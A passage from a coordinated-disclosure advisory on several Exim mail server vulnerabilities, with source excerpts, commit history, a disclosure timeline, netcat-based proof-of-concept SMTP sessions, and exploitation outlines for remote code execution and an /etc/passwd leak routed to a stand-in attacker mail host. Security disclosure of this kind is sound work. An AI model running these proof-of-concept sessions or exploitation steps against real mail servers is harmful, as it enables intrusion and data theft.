  consequently, our exploit must succeed after only a few tries (in
  particular, we cannot brute-force ASLR).

Note: we can actually overflow header_size with 1GB / 2 = 512MB; if we send a first line that ends with "\r\n", then Exim transforms every bare '\n' that we send into "\n " (a continuation line):

```
------------------------------------------------------------------------
1814   if (ch == '\n')
1815     {
1816     if (first_line_ended_crlf == TRUE_UNSET) first_line_ended_crlf = FALSE;
1817       else if (first_line_ended_crlf) receive_ungetc(' ');
------------------------------------------------------------------------
```

Proof of concept

```
(
sleep 10;
echo 'EHLO test';
sleep 3;
echo 'MAIL FROM:<>';
sleep 3;
echo 'RCPT TO:postmaster';
sleep 3;
echo 'DATA';
sleep 3;
printf 'first_line_ended_crlf:TRUE\r\n \n\n\r\nPDKIM_ERR_LONG_LINE:';
perl -e 'print "a" x 16384';
printf '\r\nvery_long_header:';
for ((i=0; i<64; i++)); do
echo "`date` $i" >&2;
perl -e 'print "\n" x 16777216';
done
) | nc -n -v 192.168.56.103 25

Program received signal SIGSEGV, Segmentation fault.
```

Exploitation

To exploit this vulnerability (on Debian oldstable, for example):

1/ We send three separate mails (in the same SMTP session) to achieve the following memory layout:

```
                              mmap memory
-----|--------------------|--------------------|--------------------|-----
 ... |n|l|    mblock3     |n|l|    mblock2     |n|l|    mblock1     | ...
-----|--------------------|--------------------|+-------------------|-----
                                                |
                              heap memory       |
                     -------------------------|v-------------|-----
                      ... |N|L|N|L|N|L|N|L|N|L|n|l|  hblock  | ...
                     -------------------------|--------------|-----
                          <- fake storeblock ->
```

where n and l are the next and length members of a storeblock structure (a linked list of allocated memory blocks):

```
------------------------------------------------------------------------
 71 typedef struct storeblock {
```

```
  struct storeblock *next;
  size_t length;
} storeblock;
------------------------------------------------------------------------
```

- we first allocate a 1GB mmap block (mblock1) by sending a mail that contains a 256MB header of bare '\n' characters; the next member of mblock1's storeblock structure initially points to a heap block (hblock, which immediately follows data that we control);

- we allocate a second 1GB mmap block (mblock2) by sending a mail that also contains a 256MB header of bare '\n' characters;

- we allocate a third 1GB mmap block (mblock3) by sending a mail that contains a 512MB header; this overflows the integer header_size, and forward-overflows mblock3 (Digression 1a), into mblock2 and mblock1: we overwrite mblock2's next pointer with NULL (to avoid a crash in store_release() at line 1788) and we partially overwrite mblock1's next pointer (with a single null byte).

2/ After this overflow, store_reset() traverses the linked list of allocated memory blocks and follows mblock1's overwritten next pointer, to our own "fake storeblock" structure: a NULL next pointer N (to avoid a crash in store_reset()), and a large length L that covers the entire address space (for example, 0x7050505070505050). As a result, Exim's allocator believes that the entire heap is one large, free block of POOL_MAIN memory (Exim's main type of memory allocations).

This powerful exploit primitive gives us write access to the entire heap, through POOL_MAIN allocations. But the heap also contains other types of allocations: we exploit this primitive to overwrite POOL_MAIN allocations with raw malloc()s (for information disclosure) and to overwrite POOL_PERM allocations with POOL_MAIN allocations (for arbitrary code execution).

3/ Information disclosure:

- First, we send an EHLO command that allocates a large string in raw malloc() memory.

- Second, we send an invalid RCPT TO command that allocates a small string in POOL_MAIN memory (an error message); this small POOL_MAIN string overwrites the beginning of the large malloc() string.

- Next, we send an invalid EHLO command that free()s the large malloc() string; this free() overwrites the beginning of the small POOL_MAIN string with a pointer to the libc (a member of libc's malloc_chunk structure).

- Last, we send an invalid DATA command that responds with an error message: the small, overwritten POOL_MAIN string, and hence the libc pointer. This information leak is essentially the technique that we used for CVE-2015-0235 (GHOST).

4/ Arbitrary code execution:

- First, we start a new mail (MAIL FROM, RCPT TO, and DATA commands); this calls dkim_exim_verify_init() and allocates a pdkim_ctx structure in POOL_PERM memory (DKIM is enabled by default since Exim 4.70):

```
249 typedef struct pdkim_ctx {
...
263   int(*dns_txt_callback)(char *, char *);
...
274 } pdkim_ctx;
------------------------------------------------------------------------
```

- Second, we send a mail header that is allocated to POOL_MAIN memory, and overwrite the pdkim_ctx structure: we overwrite dns_txt_callback with a pointer to libc's system() function (we derive this pointer from the information-leaked libc pointer).

- Next, we send a "DKIM-Signature:" header (we particularly care about its "selector" field).

- Last, we end our mail; this calls dkim_exim_verify_finish(), which calls the overwritten dns_txt_callback with a first argument that we control (through the selector field of our "DKIM-Signature:" header):

```
------------------------------------------------------------------------
1328 dns_txt_name = string_sprintf("%s._domainkey.%s.", sig->selector, sig->domain);
....
1333 if (  ctx->dns_txt_callback(CS dns_txt_name, CS dns_txt_reply) != PDKIM_OK
------------------------------------------------------------------------
```

  In other words, we execute system() with an arbitrary command.

==

CVE-2020-28023: Out-of-bounds read in smtp_setup_msg()

==

In smtp_setup_msg(), which reads the SMTP commands sent by a client to the Exim server:

```
------------------------------------------------------------------------
1455 int     smtp_ch_index          = 0;
....
1459 uschar  smtp_connection_had[SMTP_HBUFF_SIZE];
------------------------------------------------------------------------
 126 #define HAD(n) \
 127     smtp_connection_had[smtp_ch_index++] = n; \
 128     if (smtp_ch_index >= SMTP_HBUFF_SIZE) smtp_ch_index = 0
....
5283     case DATA_CMD:
5284       HAD(SCH_DATA);
....
5305           smtp_printf("503 Valid RCPT command must precede %s\r\n", FALSE,
5306             smtp_names[smtp_connection_had[smtp_ch_index-1]]);
------------------------------------------------------------------------
```

- line 5284 (line 128 in HAD()) can reset smtp_ch_index to 0 (an index into the circular buffer smtp_connection_had[]);

- line 5306 therefore reads smtp_connection_had[-1] out-of-bounds (an unsigned char index into the array smtp_names[]);

- depending on the value of this unsigned char index, line 5306 may also read smtp_names[smtp_connection_had[-1]] out-of-bounds (a pointer to a string);

```
- and line 5305 sends this string to the SMTP client and may therefore
  disclose sensitive information to an unauthenticated remote attacker.

On Debian, this out-of-bounds read is not exploitable, because
smtp_connection_had[-1] is always 0 and line 5305 sends smtp_names[0]
("NONE") to the client. However, the memory layout of the Exim binary
may be more favorable to attackers on other operating systems.

------------------------------------------------------------------------
Proof of concept
------------------------------------------------------------------------

(
sleep 10;
echo 'EHLO test';
sleep 3;
echo 'MAIL FROM:<>';
sleep 3;
for ((i=0; i<20-3; i++)); do
echo 'RCPT TO:nonexistent';
done;
sleep 3;
echo 'DATA';
sleep 3
) | nc -n -v 192.168.56.101 25
...
503-All RCPT commands were rejected with this error:
503-501 nonexistent: recipient address must contain a domain
503 Valid RCPT command must precede NONE

------------------------------------------------------------------------
History
------------------------------------------------------------------------

This vulnerability was introduced in Exim 4.88:

------------------------------------------------------------------------
commit 18481de384caecff421f23f715be916403f5d0ee
Date:   Mon Jul 11 23:36:45 2016 +0100
...
-        smtp_printf("503 Valid RCPT command must precede DATA\r\n");
+        smtp_printf("503 Valid RCPT command must precede %s\r\n",
+         smtp_names[smtp_connection_had[smtp_ch_index-1]]);
------------------------------------------------------------------------

and was independently discovered by Exim's developers in July 2020:

------------------------------------------------------------------------
commit afaf5a50b05810d75c1f7ae9d1cd83697815a997
Date:   Thu Jul 23 16:32:29 2020 +0100
...
+#define SMTP_HBUFF_PREV(n)     ((n) ? (n)-1 : SMTP_HBUFF_SIZE-1)
...
          smtp_printf("503 Valid RCPT command must precede %s\r\n", FALSE,
-           smtp_names[smtp_connection_had[smtp_ch_index-1]]);
+           smtp_names[smtp_connection_had[SMTP_HBUFF_PREV(smtp_ch_index)]]);
------------------------------------------------------------------------
```

```
========================================================================
CVE-2020-28021: New-line injection into spool header file (remote)
========================================================================

An authenticated SMTP client can add an AUTH= parameter to its MAIL FROM
command. This AUTH= parameter is decoded by auth_xtextdecode():

------------------------------------------------------------------------
4697           case ENV_MAIL_OPT_AUTH:
....
4703               if (auth_xtextdecode(value, &authenticated_sender) < 0)
------------------------------------------------------------------------

and the resulting authenticated_sender is written to the spool header
file without encoding or escaping:

------------------------------------------------------------------------
212 if (authenticated_sender)
213   fprintf(fp, "-auth_sender %s\n", authenticated_sender);
------------------------------------------------------------------------

Unfortunately, authenticated_sender can contain arbitrary characters,
because auth_xtextdecode() translates hexadecimal +XY sequences into
equivalent characters (for example, +0A into '\n'): an authenticated
remote attacker can inject new lines into the spool header file and
execute arbitrary commands, as root.

This vulnerability is particularly problematic for Internet service
providers and mail providers that deploy Exim and offer mail accounts
but not shell accounts. It is also problematic when combined with an
authentication bypass such as CVE-2020-12783, discovered by Orange Tsai
in May 2020 (https://bugs.exim.org/show_bug.cgi?id=2571).

------------------------------------------------------------------------
Proof of concept
------------------------------------------------------------------------

nc -n -v 192.168.56.101 25
...
EHLO test
...
250-AUTH PLAIN
...
AUTH PLAIN AHVzZXJuYW1lAG15c2VjcmV0
235 Authentication succeeded
MAIL FROM:<> AUTH=Raven+0AReyes
250 OK
RCPT TO:postmaster
250 Accepted
DATA
354 Enter message, ending with "." on a line by itself
.
250 OK id=1kb6VC-0003BW-Rg

2020-11-06 13:30:42 1kb6VC-0003BW-Rg Format error in spool file 1kb6VC-0003BW-Rg-H: size=530

------------------------------------------------------------------------
Exploitation
------------------------------------------------------------------------

Our exploit for CVE-2020-28021 is essentially the same as our exploit
```

for CVE-2020-28015. The main difference is that Exim's ACLs limit the
length of our header lines to 998 characters. However, this limit can be
easily bypassed, by splitting long header lines into 990-character lines
separated by "\n " (i.e., continuation lines).

We can also transform CVE-2020-28021 into an information disclosure:

- First, we inject an arbitrary recipient line into the spool header
  file: an arbitrary recipient address (for example, attacker@fake.com)
  and an errors_to string that is read out-of-bounds (the same technique
  as for CVE-2020-28015).

- Next, we wait for Exim to connect to our own mail server, fake.com's
  MX (we use https://github.com/iphelix/dnschef to set up a quick and
  easy DNS server).

- Last, we retrieve the out-of-bounds errors_to string from Exim's MAIL
  FROM command (which, in this example, contains a fragment of
  /etc/passwd):

```
------------------------------------------------------------------------
(
sleep 10;
echo 'EHLO test';
sleep 3;
echo 'AUTH PLAIN AHVzZXJuYW1lAG15c2VjcmV0';
sleep 3;
echo 'MAIL FROM:<> AUTH=x+0AXX+0A1+0Aattacker@fake.com+208192,-1#1+0A+0A990*';
sleep 3;
echo 'RCPT TO:postmaster';
sleep 3;
echo 'DATA';
sleep 3;
printf 'Message-Id: X\n';
printf 'From: X@localhost\n';
printf 'Date: X\n';
printf 'X:%0990d2* X\n' 0;
echo '.';
sleep 10
) | nc -n -v 192.168.56.101 25

nc -n -v -l 25
...
Ncat: Connection from 192.168.56.101.
...
MAIL FROM:<s:x:3:
adm:x:4:
tty:x:5:
...
Debian-exim:x:114:
jane:x:1001:
...
Debian-exim:x:107:114::/var/spool/exim4:/usr/sbin/nologin
jane:x:1001:1001:,,,:/home/jane:/bin/bash
>
...
RCPT TO:<attacker@fake.com>
...
------------------------------------------------------------------------
```

```
========================================================================
CVE-2020-28022: Heap out-of-bounds read and write in extract_option()
========================================================================
```

The name=value parameters such as AUTH= are extracted from MAIL FROM and RCPT TO commands by extract_option():

```
------------------------------------------------------------------------
1994 static BOOL
1995 extract_option(uschar **name, uschar **value)
1996 {
1997 uschar *n;
1998 uschar *v = smtp_cmd_data + Ustrlen(smtp_cmd_data) - 1;
....
2001 while (v > smtp_cmd_data && *v != '=' && !isspace(*v))
2002   {
....
2005   if (*v == '"') do v--; while (*v != '"' && v > smtp_cmd_data+1);
2006   v--;
2007   }
2008
2009 n = v;
------------------------------------------------------------------------
```

Unfortunately, this function can decrease v (value) and hence n (name) out of smtp_cmd_data's bounds (into the preceding smtp_cmd_buffer):

- at line 2001, v can point to smtp_cmd_data + 1;

- at line 2005, v-- decrements v to smtp_cmd_data;

- at line 2006, v-- decrements v to smtp_cmd_data - 1.

Subsequently, the code in extract_option() and smtp_setup_msg() reads from and writes to v and n out of smtp_cmd_data's bounds.

If exploitable, this vulnerability would allow an unauthenticated remote attacker to execute arbitrary commands as the "exim" user. So far we were unable to exploit this vulnerability: although we are able to decrease v and n out of smtp_cmd_data's bounds, we were unable to decrease v or n out of the preceding smtp_cmd_buffer's bounds. Surprisingly, however, we do use this vulnerability in our proof-of-concept for CVE-2020-28026.

```
------------------------------------------------------------------------
History
------------------------------------------------------------------------
```

This vulnerability was introduced in Exim 4.89:

```
------------------------------------------------------------------------
commit d7a2c8337f7b615763d4429ab27653862756b6fb
Date:   Tue Jan 24 18:17:10 2017 +0000
...
-while (v > smtp_cmd_data && *v != '=' && !isspace(*v)) v--;
+while (v > smtp_cmd_data && *v != '=' && !isspace(*v))
+  {
+  /* Take care to not stop at a space embedded in a quoted local-part */
+
+  if (*v == '"') do v--; while (*v != '"' && v > smtp_cmd_data+1);
```

```
+  v--;
+  }
------------------------------------------------------------------------
```

==
CVE-2020-28026: Line truncation and injection in spool_read_header()
==

spool_read_header() calls fgets() to read the lines from a spool header file into the 16KB big_buffer. The first section of spool_read_header() enlarges big_buffer dynamically if fgets() truncates a line (if a line is longer than 16KB):

```
------------------------------------------------------------------------
 460   if (Ufgets(big_buffer, big_buffer_size, fp) == NULL) goto SPOOL_READ_ERROR;
 ...
 462   while (  (len = Ustrlen(big_buffer)) == big_buffer_size-1
 463         && big_buffer[len-1] != '\n'
 ...
 468     buf = store_get_perm(big_buffer_size *= 2, FALSE);
------------------------------------------------------------------------
```

Unfortunately, the second section of spool_read_header() does not enlarge big_buffer:

```
------------------------------------------------------------------------
 756 for (recipients_count = 0; recipients_count < rcount; recipients_count++)
 ...
 765   if (Ufgets(big_buffer, big_buffer_size, fp) == NULL) goto SPOOL_READ_ERROR;
------------------------------------------------------------------------
```

If DSN (Delivery Status Notification) is enabled (it is disabled by default), an attacker can send a RCPT TO command with a long ORCPT= parameter that is written to the spool header file by spool_write_header():

```
------------------------------------------------------------------------
292 for (int i = 0; i < recipients_count; i++)
293   {
294   recipient_item *r = recipients_list + i;
...
302     uschar * errors_to = r->errors_to ? r->errors_to : US"";
...
305     uschar * orcpt = r->orcpt ? r->orcpt : US"";
306
307     fprintf(fp, "%s %s %d,%d %s %d,%d#3\n", r->address, orcpt, Ustrlen(orcpt),
308       r->dsn_flags, errors_to, Ustrlen(errors_to), r->pno);
------------------------------------------------------------------------
```

This long ORCPT= parameter truncates the recipient line (when read by fgets() in spool_read_header()) and injects the remainder of the line as a separate line, thereby emulating the '\n' injection of CVE-2020-28015 and CVE-2020-28021 (albeit in a weaker form).

We have not tried to exploit this vulnerability; if exploitable, it would allow an unauthenticated remote attacker to execute arbitrary commands as root (if DSN is enabled).

Proof of concept

- Intuitively, it seems impossible to generate a recipient line longer than 16KB (big_buffer_size), because the Exim server reads our RCPT TO command into a 16KB buffer (smtp_cmd_buffer) that must also contain (besides our long ORCPT= parameter) "RCPT TO:", "NOTIFY=DELAY", and the recipient address.

- We can, however, use the special recipient "postmaster", which is automatically qualified (by appending Exim's primary hostname) before it is written to the spool header file. This allows us to enlarge the recipient line, but is not sufficient to control the end of the truncated line (unless Exim's primary hostname is longer than 24 bytes, which is very unlikely).

- But we can do better: we can use CVE-2020-28022 to read our ORCPT= parameter out of smtp_cmd_data's bounds (from the end of the preceding smtp_cmd_buffer). This allows us to further enlarge the recipient line (by 10 bytes, because "postmaster" is now included in our ORCPT=), but is not sufficient to reliably control the end of the truncated line (unless Exim's primary hostname is longer than 14 bytes, which is still very unlikely).

- But we can do much better: we do not need postmaster's automatic qualification anymore, because the recipient is now included in our ORCPT= parameter -- the longer the recipient, the better. On Debian, the user "systemd-timesync" exists by default, and "localhost" is one of Exim's local_domains: the recipient "systemd-timesync@localhost" is long enough to reliably control the end of the truncated recipient line, and allows us to read and write out of big_buffer's bounds (lines 859 and 863, and beyond):

```
------------------------------------------------------------------------
 840   else if (*p == '#')
 ...
 848     (void)sscanf(CS p+1, "%d", &flags);
 849
 850     if ((flags & 0x01) != 0)      /* one_time data exists */
 851       {
 852       int len;
 853       while (isdigit(*(--p)) || *p == ',' || *p == '-');
 854       (void)sscanf(CS p+1, "%d,%d", &len, &pno);
 855       *p = 0;
 856       if (len > 0)
 857         {
 858         p -= len;
 859         errors_to = string_copy_taint(p, TRUE);
 860         }
 861       }
 862
 863     *(--p) = 0;   /* Terminate address */
------------------------------------------------------------------------
```

For example, the following proof-of-concept accesses memory at 1MB below big_buffer:

```
------------------------------------------------------------------------
(
sleep 10;
echo 'EHLO test';
```

```
sleep 3;
echo 'MAIL FROM:<>';
sleep 3;
perl -e 'print "NOOP"; print " " x (16384-9); print "ORCPT\n"';
sleep 3;
echo 'RCPT TO:x"';
sleep 3;
perl -e 'print "RCPT TO:(\")systemd-timesync\@localhost("; print "A" x (16384-74); print "xxx1048576,-1#1x
NOTIFY=DELAY\n"';
sleep 3;
echo 'DATA';
sleep 3;
echo '.';
sleep 10
) | nc -n -v 192.168.56.101 25

Program received signal SIGSEGV, Segmentation fault.
------------------------------------------------------------------------
```

==
CVE-2020-28019: Failure to reset function pointer after BDAT error
==

To read SMTP commands and data from a client, Exim calls the function pointer receive_getc, which points to either smtp_getc() (a cleartext connection) or tls_getc() (an encrypted connection). If the client uses the BDAT command (instead of DATA) to send a mail, then Exim saves the current value of receive_getc to the function pointer lwr_receive_getc and sets receive_getc to the wrapper function bdat_getc():

```
------------------------------------------------------------------------
5242     case BDAT_CMD:
....
5271       lwr_receive_getc = receive_getc;
....
5275       receive_getc = bdat_getc;
------------------------------------------------------------------------
```

Exim normally resets receive_getc to its original value (lwr_receive_getc) when the client ends its mail. Unfortunately, Exim fails to reset receive_getc in some cases; for example, if the mail is larger than message_size_limit (50MB by default). Consequently, Exim re-enters smtp_setup_msg() while receive_getc still points to bdat_getc(), and:

- smtp_read_command() calls receive_getc and hence bdat_getc(), which also calls smtp_read_command(), which is not a re-entrant function and may have unintended consequences;

- if the client issues another BDAT command, then receive_getc and lwr_receive_getc both point to bdat_getc(), which calls itself recursively and leads to stack exhaustion; for example:

```
------------------------------------------------------------------------
(
sleep 10;
echo 'EHLO test';
sleep 3;
echo 'MAIL FROM:<>';
```

```
sleep 3;
echo 'RCPT TO:postmaster';
sleep 3;
echo "BDAT $((52428800+100))";
perl -e 'print "A" x (52428800+1)';
sleep 3;
echo 'MAIL FROM:<>';
sleep 3;
echo 'RCPT TO:postmaster';
sleep 3;
echo 'BDAT 8388608'
) | nc -n -v 192.168.56.101 25

Program received signal SIGSEGV, Segmentation fault.
------------------------------------------------------------------------

This vulnerability is very similar to CVE-2017-16944, discovered by Meh
Chang in November 2017 (https://bugs.exim.org/show_bug.cgi?id=2201).

------------------------------------------------------------------------
History
------------------------------------------------------------------------

This vulnerability was introduced in Exim 4.88:

------------------------------------------------------------------------
commit 7e3ce68e68ab9b8906a637d352993abf361554e2
Date:   Wed Jul 13 21:28:18 2016 +0100
...
+      lwr_receive_getc = receive_getc;
+      lwr_receive_ungetc = receive_ungetc;
+      receive_getc = bdat_getc;
+      receive_ungetc = bdat_ungetc;
------------------------------------------------------------------------



========================================================================
CVE-2020-28024: Heap buffer underflow in smtp_ungetc()
========================================================================

Exim calls smtp_refill() to read input characters from an SMTP client
into the 8KB smtp_inbuffer, and calls smtp_getc() to read individual
characters from smtp_inbuffer:

------------------------------------------------------------------------
 501 static BOOL
 502 smtp_refill(unsigned lim)
 503 {
 ...
 512 rc = read(fileno(smtp_in), smtp_inbuffer, MIN(IN_BUFFER_SIZE-1, lim));
 ...
 515 if (rc <= 0)
 516   {
 ...
 536   return FALSE;
 537   }
 ...
 541 smtp_inend = smtp_inbuffer + rc;
 542 smtp_inptr = smtp_inbuffer;
 543 return TRUE;
```

```
 544 }
------------------------------------------------------------------------
 559 int
 560 smtp_getc(unsigned lim)
 561 {
 562 if (smtp_inptr >= smtp_inend)
 563   if (!smtp_refill(lim))
 564     return EOF;
 565 return *smtp_inptr++;
 566 }
------------------------------------------------------------------------
```

Exim implements an smtp_ungetc() function to push characters back into smtp_inbuffer (characters that were read from smtp_inbuffer by smtp_getc()):

```
------------------------------------------------------------------------
 795 int
 796 smtp_ungetc(int ch)
 797 {
 798 *--smtp_inptr = ch;
 799 return ch;
 800 }
------------------------------------------------------------------------
```

Unfortunately, Exim also calls smtp_ungetc() to push back "characters" that were not actually read from smtp_inbuffer: EOF (-1), and if BDAT is used, EOD and ERR (-2 and -3). For example, in receive_msg():

```
------------------------------------------------------------------------
1945   if (ch == '\r')
1946     {
1947     ch = (receive_getc)(GETC_BUFFER_UNLIMITED);
1948     if (ch == '\n')
1949       {
....
1952       }
....
1957     ch = (receive_ungetc)(ch);
------------------------------------------------------------------------
```

- at line 1947, receive_getc (smtp_getc()) can return EOF;

- at line 1957, this EOF is passed to receive_ungetc (smtp_ungetc());

- at line 798 (in smtp_ungetc()), if smtp_inptr is exactly equal to smtp_inbuffer, then it is decremented to smtp_inbuffer - 1, and EOF is written out of smtp_inbuffer's bounds.

To return EOF in receive_msg() while smtp_inptr is equal to smtp_inbuffer, we must initiate a TLS-encrypted connection:

- either through TLS-on-connect (usually on port 465), which does not use smtp_inptr nor smtp_inbuffer;

- or through STARTTLS, which resets smtp_inptr to smtp_inbuffer in the following code (if X_PIPE_CONNECT is enabled, the default since Exim 4.94):

```
------------------------------------------------------------------------
5484       if (receive_smtp_buffered())
```

```
5485          {
5486          DEBUG(D_any)
5487            debug_printf("Non-empty input buffer after STARTTLS; naive attack?\n");
5488          if (tls_in.active.sock < 0)
5489            smtp_inend = smtp_inptr = smtp_inbuffer;
------------------------------------------------------------------------
```

In both cases:

- first, we initiate a TLS-encrypted connection, which sets receive_getc and receive_ungetc to tls_getc() and tls_ungetc() (while smtp_inptr is equal to smtp_inbuffer);

- second, we start a mail (MAIL FROM, RCPT TO, and DATA commands) and enter receive_msg();

- third, we send a bare '\r' character and reach line 1945;

- next, we terminate the TLS connection, which resets receive_getc and receive_ungetc to smtp_getc() and smtp_ungetc() (while smtp_inptr is still equal to smtp_inbuffer);

- last, we close the underlying TCP connection, which returns EOF at line 1947 and writes EOF out of smtp_inbuffer's bounds at line 1957 (line 798 in smtp_ungetc()).

We have not tried to exploit this vulnerability; if exploitable, it would allow an unauthenticated remote attacker to execute arbitrary commands as the "exim" user (if TLS and either TLS-on-connect or X_PIPE_CONNECT are enabled).

==
CVE-2020-28018: Use-after-free in tls-openssl.c
==

If Exim is built with OpenSSL, and if STARTTLS is enabled, and if PIPELINING is enabled (the default), and if X_PIPE_CONNECT is disabled (the default before Exim 4.94), then tls_write() in tls-openssl.c is vulnerable to a use-after-free.

If PIPELINING is used, Exim buffers the SMTP responses to MAIL FROM and RCPT TO commands (in tls-openssl.c):

```
------------------------------------------------------------------------
2909 int
2910 tls_write(void * ct_ctx, const uschar *buff, size_t len, BOOL more)
2911 {
....
2915 static gstring * server_corked = NULL;
2916 gstring ** corkedp = ct_ctx
2917   ? &((exim_openssl_client_tls_ctx *)ct_ctx)->corked : &server_corked;
2918 gstring * corked = *corkedp;
....
2933 if (!ct_ctx && (more || corked))
2934   {
....
2940   corked = string_catn(corked, buff, len);
....
2946   if (more)
```

```
2947     {
2948     *corkedp = corked;
2949     return len;
2950     }
------------------------------------------------------------------------
```

- at line 2910, ct_ctx is NULL, buff contains the SMTP response, and more is true;

- at line 2940, a struct gstring (a "growable string", mentioned in CVE-2020-28009) and its string buffer are allocated in POOL_MAIN memory:

```
------------------------------------------------------------------------
typedef struct gstring {
  int   size;           /* Current capacity of string memory */
  int   ptr;            /* Offset at which to append further chars */
  uschar * s;           /* The string memory */
} gstring;
------------------------------------------------------------------------
```

- at line 2948, a pointer to the struct gstring is saved to a local static variable, server_corked.

Unfortunately, if smtp_reset() is called (in smtp_setup_msg()), then store_reset() is called and frees all allocated POOL_MAIN memory, but server_corked is not reset to NULL: if tls_write() is called again, the struct gstring and its string buffer are used-after-free.

Side note: another use-after-free, CVE-2017-16943, was discovered by Meh Chang in November 2017 (https://bugs.exim.org/show_bug.cgi?id=2199).

Exploitation

To reliably control this vulnerability, we must prevent Exim from calling tls_write() between our call to smtp_reset() and the actual use-after-free:

- first, we send EHLO and STARTTLS (to initiate a TLS connection);

- second, we send EHLO and "MAIL FROM:<>\nNO" (to pipeline the first half of a NOOP command, and to buffer the response to our MAIL FROM command in tls_write());

- third, we terminate the TLS connection (and fall back to cleartext) and send "OP\n" (the second half of our pipelined NOOP command);

- next, we send EHLO (to force a call to smtp_reset()) and STARTTLS (to re-initiate a TLS connection);

- last, server_corked is used-after-free (in tls_write()) in response to any SMTP command that we send.

This use-after-free of a struct gstring (server_corked) and its string buffer (server_corked->s) is the most powerful vulnerability in this advisory:

1/ We overwrite the string buffer (which is sent to us by tls_write()) and transform this use-after-free into an information leak (we leak

```
pointers to the heap).

2/ We overwrite the struct gstring (with an arbitrary string pointer and
size) and transform the use-after-free into a read-what-where primitive:
we read the heap until we locate Exim's configuration.

3/ We overwrite the struct gstring (with an arbitrary string pointer)
and transform the use-after-free into a write-what-where primitive: we
overwrite Exim's configuration with an arbitrary "${run{command}}" that
is executed by expand_string() as the "exim" user (Digression 2).

We use a few noteworthy tricks in our exploit:

1/ Information leak: To overwrite the string buffer without overwriting
the struct gstring itself, we send several pipelined RCPT TO commands to
re-allocate the string buffer (far away from the struct gstring), and
overwrite it with header_line structures that contain pointers to the
heap.

2/ Read-what-where: We overwrite the struct gstring with arbitrary
binary data through the name=value parameter of a MAIL FROM command:

- we overwrite the s member with a pointer to the memory that we want to
  read (a pointer to the heap);

- we overwrite the ptr member with the number of bytes that we want to
  read;

- we overwrite the size member with the same number as ptr to prevent
  string_catn() from writing to the memory that we want to read (at line
  2940 in tls_write()).

3/ Write-what-where: We overwrite the struct gstring with arbitrary
binary data through the name=value parameter of a MAIL FROM command:

- we overwrite the s member with a pointer to the memory that we want to
  overwrite (a pointer to Exim's configuration);

- we overwrite the ptr member with 0 and the size member with a large
  arbitrary number;

- finally, we send a MAIL FROM command whose response overwrites Exim's
  configuration with our arbitrary "${run{...}}" (which is eventually
  executed by expand_string()).

Note: Debian's Exim packages are built with GnuTLS, not OpenSSL; to
rebuild them with OpenSSL, we followed the detailed instructions at
https://gist.github.com/ryancdotorg/11025731.

========================================================================
History
========================================================================

This vulnerability was introduced in Exim 4.90:

------------------------------------------------------------------------
commit a5ffa9b475a426bc73366db01f7cc92a3811bc3a
Date:   Fri May 19 22:55:25 2017 +0100
...
+static uschar * corked = NULL;
+static int c_size = 0, c_len = 0;
```

```
...
+if (is_server && (more || corked))
+  {
+  corked = string_catn(corked, &c_size, &c_len, buff, len);
+  if (more)
+    return len;
------------------------------------------------------------------------
```

==
CVE-2020-28025: Heap out-of-bounds read in pdkim_finish_bodyhash()
==

By default since Exim 4.70, receive_msg() calls
dkim_exim_verify_finish() to verify DKIM (DomainKeys Identified Mail)
signatures, which calls pdkim_feed_finish(), which calls
pdkim_finish_bodyhash():

```
------------------------------------------------------------------------
 788 static void
 789 pdkim_finish_bodyhash(pdkim_ctx * ctx)
 790 {
 ...
 799 for (pdkim_signature * sig = ctx->sig; sig; sig = sig->next)
 800   {
 ...
 825     if (  sig->bodyhash.data
 826        && memcmp(b->bh.data, sig->bodyhash.data, b->bh.len) == 0)
 827       {
 ...
 829       }
 830     else
 831       {
 ...
 838       sig->verify_status     = PDKIM_VERIFY_FAIL;
 839       sig->verify_ext_status = PDKIM_VERIFY_FAIL_BODY;
 840       }
 841   }
 842 }
------------------------------------------------------------------------
```

Unfortunately, at line 826, sig->bodyhash.data is attacker-controlled
(through a "DKIM-Signature:" mail header) and memcmp() is called without
checking first that sig->bodyhash.len is equal to b->bh.len: memcmp()
can read sig->bodyhash.data out-of-bounds.

If the acl_smtp_dkim is set (it is unset by default), an unauthenticated
remote attacker may transform this vulnerability into an information
disclosure; we have not fully explored this possibility.

Proof of concept

```
(
sleep 10;
echo 'EHLO test';
sleep 3;
echo 'MAIL FROM:<>';
sleep 3;
```

```
echo 'RCPT TO:postmaster';
sleep 3;
echo 'DATA';
sleep 30;
printf 'DKIM-Signature:a=rsa-sha512;bh=QUFB\r\n\r\nXXX\r\n.\r\n';
sleep 30
) | nc -n -v 192.168.56.101 25

Breakpoint 6, 0x000055e180320401 in pdkim_finish_bodyhash (ctx=<optimized out>) at pdkim.c:825
(gdb) print sig->bodyhash
$2 = {data = 0x55e181b9ed10 "AAA", len = 3}
(gdb) print b->bh.len
$3 = 64
```

History

This vulnerability was introduced in Exim 4.70:

```
------------------------------------------------------------------------
commit 80a47a2c9633437d4ceebd214cd44abfbd4f4543
Date:   Wed Jun 10 07:34:04 2009 +0000
...
+      if (memcmp(bh,sig->bodyhash,
+                 (sig->algo == PDKIM_ALGO_RSA_SHA1)?20:32) == 0) {
------------------------------------------------------------------------
```

==
Acknowledgments
==

We thank Exim's developers for their hard work on this security release. We thank Mitre's CVE Assignment Team for their quick responses to our requests. We thank Damien Miller for his kind answers to our seteuid() questions. We also thank the members of distros@openwall.

==
Timeline (abridged)
==

2020-10-20: We (qsa@qualys) informed Exim (security@exim) that we audited central parts of the code, discovered multiple vulnerabilities, and are working on an advisory. Exim immediately acknowledged our mail.

2020-10-28: We sent the first draft of our advisory to Exim. They immediately acknowledged our mail, and started to work on patches.

2020-10-29: We sent a list of 10 secondary issues to Exim (to the best of our knowledge, these issues are not CVE-worthy).

2020-10-30: We requested 20 CVEs from Mitre. They were assigned on the same day, and we immediately transmitted them to Exim.

2020-11-13: Exim gave us read access to their private Git repository. We started reviewing their first set of patches (which tackled 7 CVEs).

2020-11-17 and 2020-11-18: We sent a two-part patch review to Exim (several patches were incomplete).

2020-12-02: A second set of patches (which tackled 7 secondary issues) appeared in Exim's private Git repository. We started reviewing it.

2020-12-09: We sent our second patch review to Exim.

2021-01-28: We mailed Exim and offered to work on the incomplete and missing patches (the last commit in Exim's private Git repository dated from 2020-12-02).

2021-02-05: Exim acknowledged our mail. We started to write a minimal but complete set of patches (on top of exim-4.94+fixes).

2021-02-15: While working on a patch for CVE-2020-28014, we discovered CVE-2021-27216. We requested a CVE from Mitre, and immediately sent a heads-up to Exim.

2021-02-24: We completed our minimal set of patches and sent it to Exim.

2021-04-17: Exim proposed 2021-05-04 for the Coordinated Release Date.

2021-04-19: We accepted the proposed Coordinated Release Date.

